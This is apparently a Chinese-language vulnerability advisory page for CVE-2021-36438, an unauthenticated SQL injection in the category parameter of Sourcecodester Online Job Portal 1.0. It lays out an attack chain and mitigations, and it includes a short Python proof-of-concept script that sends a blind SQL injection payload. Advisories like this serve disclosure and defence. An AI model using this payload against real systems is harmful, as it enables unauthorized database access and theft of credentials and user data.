IPBUF安全漏洞报告
English
CVE-2021-36438 CVSS 6.5 中危

CVE-2021-36438: Online Job Portal SQL注入漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2021-36438
漏洞类型
SQL注入
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Sourcecodester Online Job Portal phppdo

相关标签

SQL注入SourcecodesterWeb安全CVE-2021-36438远程漏洞

漏洞概述

Sourcecodester Online Job Portal phppdo 1.0版本存在SQL注入漏洞。攻击者可利用/jobportal/index.php中的category参数执行恶意SQL语句。由于该漏洞无需认证且无交互要求,远程攻击者可借此窃取数据库敏感信息,对系统机密性和完整性造成中等程度影响。

技术细节

漏洞发生于Sourcecodester Online Job Portal的/jobportal/index.php页面。应用程序在处理用户请求时,未对GET或POST参数中的`category`字段进行严格的类型检查或特殊字符过滤,直接将其拼接到SQL查询语句中。攻击者可通过构造包含SQL控制字符(如单引号、UNION、注释符)的Payload注入恶意SQL代码。利用该漏洞,攻击者可绕过认证逻辑,执行盲注或报错注入攻击,进而提取管理员凭证、用户数据或其他敏感数据库信息。

攻击链分析

STEP 1
侦察
攻击者识别出目标服务器运行Sourcecodester Online Job Portal phppdo 1.0。
STEP 2
武器化
攻击者构造针对category参数的SQL注入Payload,例如用于判断数据库指纹的语句。
STEP 3
交付
攻击者向/jobportal/index.php发送带有恶意参数的HTTP GET请求。
STEP 4
利用
后端数据库解析并执行注入的恶意SQL语句,返回敏感数据或产生特定响应。
STEP 5
达成目标
攻击者成功获取数据库结构及数据,进一步可能获取服务器控制权。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL configuration target_url = "http://target/jobportal/index.php" # Malicious payload to test SQL injection # Checking for time-based blind injection or error based payload = { "category": "1' AND (SELECT SUBSTRING(@@version,1,1))='5'-- -" } try: response = requests.get(target_url, params=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print("[+] Check response content for database errors or time delays.") except Exception as e: print(f"[-] Error occurred: {e}")

影响范围

Sourcecodester Online Job Portal phppdo 1.0

防御指南

临时缓解措施
建议在WAF中添加针对该URL和参数的SQL注入防护规则,拦截包含单引号、UNION、SELECT等关键字的请求。同时,应尽快检查代码逻辑,实施参数化查询修复。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表